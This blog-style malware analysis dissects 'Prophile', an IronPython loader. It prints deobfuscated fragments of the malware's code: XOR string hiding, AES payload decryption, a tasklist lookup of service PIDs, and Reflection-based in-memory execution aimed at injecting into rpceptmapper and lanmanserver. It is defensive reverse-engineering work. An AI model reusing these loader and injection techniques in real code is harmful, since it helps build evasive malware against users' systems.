Ofri's Cyber Research Log

Weekly logs, write-ups, and binary exploitation research.

Malware Analysis: Prophile (IronPython Process Injection)

malware analysis reverse engineering

Executive Summary

This report analyzes a sophisticated loader malware, which is written in IronPython, an open-source implementation of Python tightly integrated with the .NET framework. The malware’s primary objective is to dynamically decrypt, load, and execute malicious .NET assemblies directly in memory (Fileless Execution) to evade traditional disk based detection. It targets critical Windows services (rpceptmapper and lanmanserver) for process injection, utilizes XOR and Base64 obfuscation for its internal strings, and employs AES decryption (RijndaelManaged) that requires a specific runtime key to unlock the final payloads.

Technical Analysis

1. String Obfuscation

The first notable component in the script is a lambda function used for string deobfuscation:

URIAbQ = lambda s, k: ''.join([chr((ord(c) ^ k) % 0x100) for c in s])

This function takes two parameters (a string s and a numeric key k) and returns the decoded string by applying an XOR operation with the key, modulo 256, for every character. This technique is extensively used throughout the script to hide API calls, file names, and shell commands.

2. .NET Integration (IronPython)

Shortly after, we observe unfamiliar imports for a standard Python script:

from System.Security.Cryptography import *
from System.Reflection import *
import System

From the research I have done, I found that this code is written in IronPython which is an open-source implementation of Python that is tightly integrated with the .NET framework (which is a C# based software development platform created by Microsoft). This allows the attackers to leverage powerful .NET framework capabilities, such as cryptography and Reflection, directly from Python syntax.

3. Payload Decryption (RijndaelManaged)

The script contains three massive Base64-encoded strings. Extracting and dumping them to binary files reveals no recognizable executable format (like PE or ELF) because they are encrypted (as I found out later). The decryption logic is handled by the following function:

def NQHRxUDMlm(NQHRxUDMlh, NQHRxUDMlB, NQHRxUDMlq, NQHRxUDMlz):
    NQHRxUDMly = None
    try:
        NQHRxUDMlT = RijndaelManaged(KeySize=128, BlockSize=128)
        NQHRxUDMlT.Key = NQHRxUDMlY(NQHRxUDMlB) # Second parameter as Key
        NQHRxUDMlT.IV = NQHRxUDMlY(NQHRxUDMlq)  # Third parameter as IV
        NQHRxUDMlT.Padding = PaddingMode.PKCS7
        NQHRxUDMlh = NQHRxUDMlY(NQHRxUDMlh)
        
        with System.IO.MemoryStream() as NQHRxUDMlv:
            with CryptoStream(NQHRxUDMlv, NQHRxUDMlT.CreateDecryptor(NQHRxUDMlT.Key, NQHRxUDMlT.IV), CryptoStreamMode.Write) as NQHRxUDMlu:
                NQHRxUDMlu.Write(NQHRxUDMlh, 0, NQHRxUDMlh.Length)
                NQHRxUDMlu.FlushFinalBlock()
                NQHRxUDMlv.Position = 0
                NQHRxUDMly = System.Array.CreateInstance(System.Byte, NQHRxUDMlv.Length)
                NQHRxUDMlv.Read(NQHRxUDMly, 0, NQHRxUDMly.Length)
    except System.SystemException as ex:
        # Writes formatted exception to a log buffer (4th parameter)
        pass
    return NQHRxUDMly

This function creates an object of the RijndaelManaged encryption algorithm, which uses the bytes of the second parameter as the key, and the third as the IV.

Then, it creats a MemoryStream (use RAM to store data) and then creates a CryptoStream with the MemoryStream as its target stream, RijndaelManaged Decryption algorithm as its cryptographic algorithm to apply, and uses Write mode. Now it Decrypts the first parameter and writes it to the RAM, and then creates an array and reads the plaintext from the RAM to this array and returns the plantext. After that, if there is any SystemException, the code write to the 4th parameter (which is probably an errors/log file/buffer) “[!] Net exc (msg: {0}, st: {1})”, and then formats it to this specific error.

4. Target Process Discovery

To find its injection targets, the malware executes a system command to retrieve Process IDs (PIDs):

def NQHRxUDMlk(NQHRxUDMlf):
    NQHRxUDMlC = 0
    # Executes: tasklist /FI "SERVICES eq  <parameter> " /FO LIST
    NQHRxUDMli = os.popen(URIAbQ(...) + NQHRxUDMlf + URIAbQ(...)).read()
    # Extracts the PID from the command output
    return NQHRxUDMlC

By querying tasklist, the malware searches for processes running under specific Windows services to inject its payload.

5. In-Memory Execution via Reflection

The execution of the decrypted payload is achieved dynamically using .NET Reflection:

def NQHRxUDMlg(enc_payld, NQHRxUDMlf, NQHRxUDMlz, NQHRxUDMlj):
    NQHRxUDMlL = "DefaultSerializer.DefaultSerializer" # Decoded via XOR
    NQHRxUDMlI = "Invoke" # Decoded via XOR
    
    # Decrypts payload using sys.argv[1] as the key
    NQHRxUDMle = DecryptText(base64.b64decode(enc_payld[16:]), sys.argv[1], enc_payld[:16], NQHRxUDMlz)
    
    try:
        NQHRxUDMlb = NQHRxUDMlj.GetType(NQHRxUDMlL)
        NQHRxUDMlC = getPIDbyService(NQHRxUDMlf)
        
        if NQHRxUDMlC != 0:
            # Dynamically creates an instance and invokes the payload
            NQHRxUDMlW = NQHRxUDMlj.CreateInstance(NQHRxUDMlb.FullName, False, BindingFlags.ExactBinding, None, System.Array[System.Object]([NQHRxUDMle, NQHRxUDMlC]), None, None)
            NQHRxUDMlE = NQHRxUDMlb.GetMethod(NQHRxUDMlI)
            NQHRxUDMlE.Invoke(NQHRxUDMlW, None)

First, this function creates two variables, NQHRxUDMlL which is DefaultSerializer.DefaultSerializer and NQHRxUDMlI which is Invoke.
Then, it Decrypts the encrypted payload, using argv[1] as its key, and the first 16 bytes as the IV. If the decryption faild, it writes “[!] Failed to get payload” to the error log and returns false.
Then, it extracts the Type definition for DefaultSerializer.DefaultSerializer from a previously loaded assembly. After resolving the PID of a target Windows service, it dynamically creates an instance of the serializer class, passing the decrypted payload and the target PID as constructor arguments. Finally, it findes the Invoke method and executes it on the newly created instance, triggering the payload execution (likely via process injection).

6. Execution Flow and Persistence

In the main execution block, we see the environment setup:

if len(sys.argv) != 2:
    exit()

NQHRxUDMlf = "rpceptmapper"
NQHRxUDMlA = "lanmanserver"
NQHRxUDMlX = os.getenv("PUBLIC", "")

# Redirect stderr to Metaclass.dat
NQHRxUDMla = open(NQHRxUDMlX + "\\Metaclass.dat", "w")
sys.stderr = NQHRxUDMla
NQHRxUDMlz = open(NQHRxUDMlX + "\\Metadata.dat", "a")

# Load decrypted assembly into memory
NQHRxUDMlj = Assembly.Load(NQHRxUDMlr)

The malware enforces a kill-switch: it will exit immediately if it is not executed with exactly one command-line argument (sys.argv[1]), which serves as the decryption key. It then redirects stderr to a hidden file (Metaclass.dat) in the %PUBLIC% directory to suppress errors. Finally, it uses Assembly.Load to load the decrypted .NET binary into memory and injects the remaining payloads into the rpceptmapper and lanmanserver services.
unfortunately it is not possible to know what exactly is written in these payloads (unless I guess the key), so we can really know what exactly the malware does.

Conclusion

The Prophile malware is a highly evasive loader designed to operate stealthily. By utilizing IronPython, it masks its .NET API calls beneath Python syntax. Its reliance on sys.argv[1] as an encryption key ensures that researchers cannot easily decrypt the payloads without knowing the specific execution command. Furthermore, by loading assemblies directly into memory and injecting code into legitimate Windows services (rpceptmapper and lanmanserver), it minimizes its footprint on the host system.

Indicators of Compromise (IoCs)

File Hashes:

Targeted Services for Injection:

Dropped/Modified Files:

Execution Artifacts: